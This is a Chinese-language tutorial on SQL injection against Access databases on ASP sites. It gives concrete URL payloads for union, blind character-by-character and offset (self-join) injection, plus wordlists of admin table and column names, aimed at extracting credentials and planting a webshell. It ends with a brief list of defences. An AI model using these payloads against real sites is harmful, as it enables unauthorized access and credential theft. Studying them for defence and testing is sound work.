SQL注入之Access数据库
字数 965 2025-08-13 21:33:22
Access数据库SQL注入全面指南
1. Access数据库简介
Access数据库是一种小型关系型数据库,常用于小型网站数据存储。其特点包括:
- 单一数据库文件(通常为.mdb或.accdb格式)
- 结构简单:包含表、列和数据
- 无information_schema等系统表
- 常与ASP网站搭配使用
2. SQL注入攻击整体思路
-
判断数据库类型:通过报错信息或常见组合判断
- 常见组合:MySQL+PHP、MSSQL+ASPX、Oracle+JSP、Access+ASP
-
寻找注入点:
- 更改请求方式(GET/POST)
- 修改请求参数(Cookie/Referer/User-Agent等)
- 使用测试字符:单引号、百分号等
-
判断参数类型:
- 数字型:
id=3-1返回与id=2相同 - 字符型:
id=3'导致报错 - 搜索型:使用
%测试
- 数字型:
-
选择注入方式:
- 联合注入(已知表名列名)
- 逐字猜解(布尔盲注)
- 偏移注入(仅知表名)
-
数据获取:
- 获取敏感数据(用户名/密码)
- 登录后台或写入webshell
3. 联合注入攻击详解
3.1 判断注入点
?id=3' # 返回页面不同,存在注入
?id=3-1 # 返回正常界面,存在注入
?id=3 and 1=2 # 返回与and 1=1不同,存在注入
3.2 判断字段数
?id=3 order by 1 # 测试开始
?id=3 order by 10 # 返回错误,说明字段数=9
3.3 联合查询构造
-1 union select 1,username,password,4,5,6,7,8,9,10 from admin
3.4 常见表名和列名
常见表名:
admin, a_admin, x_admin, m_admin, adminuser, admin_user,
article_admin, administrator, manage, manager, member,
memberlist, user, users, Manage_User, user_info,
admin_userinfo, UserGroups, user_list, login, 用户,
Friend, zl, movie, news, password, clubconfig, config,
company, book, art, dv_admin, userinfo
常见列名:
username, adminusername, admin_username, adminname,
admin_name, admin, adminuser, admin_user, usrname,
usr_name, user_admin, password, admin_password,
administrator, administrators, adminpassword,
adminpwd, admin_pwd, adminpass, admin_pass, usrpass,
usr_pass, user, name, pass, userpass, user_pass,
userpassword, user_password, pwd, userpwd, user_pwd,
useradmin, pword, p_word, pass-wd, yonghu, 用户,
用户名, 密码, 帐号, id, uid, userid, user_id,
adminid, admin_id, login_name
4. 逐字猜解攻击(布尔盲注)
4.1 判断表名
?id=843 and exists(select * from admin) # 返回正常则表名正确
4.2 猜解列名
?id=843 and exists(select admin_name from admin) # 返回正常则列名存在
4.3 判断字段长度
?id=834 and (select top 1 len(admin_name) from admin) = 7
4.4 逐字符获取数据
?id=834 and (select top 1 asc(mid(admin_name,1,1)) from admin)=114
5. 偏移注入攻击
5.1 前提条件
- 已知表名
- 知道一个或多个字段名
5.2 判断字段数
?id=834 order by 16 # 正常
?id=834 order by 17 # 报错 → 字段数=16
5.3 寻找偏移字段
?id=834 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin # 回显正常则偏移字段=5
5.4 计算所需字段数
所需字段数 = 总字段数 - 2×偏移字段数
本例:16 - 2×5 = 6
5.5 构造payload
?id=834 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_id=b.admin_id)
5.6 多级偏移注入
一级偏移:
union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
二级偏移:
union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.admin_name=b.admin_name) inner join admin as c on a.admin_name=c.admin_name)
6. 防护措施
-
数据库配置:
- 更改默认数据库存储路径
- 使用难以猜解的数据名
-
输入过滤:
- 黑白名单过滤特殊字符和SQL关键字
- 过滤:
union,select,from,order,',*等
-
安全防护:
- 安装WAF(Web应用防火墙)
- 使用参数化查询
-
其他措施:
- 最小权限原则
- 错误信息处理(不显示详细错误)
7. 总结
Access数据库注入技术虽然随着该数据库的淘汰而逐渐减少使用,但其原理和方法对于理解SQL注入攻击的本质仍有重要价值。掌握这些技术有助于更好地防御各类SQL注入攻击,提升Web应用安全性。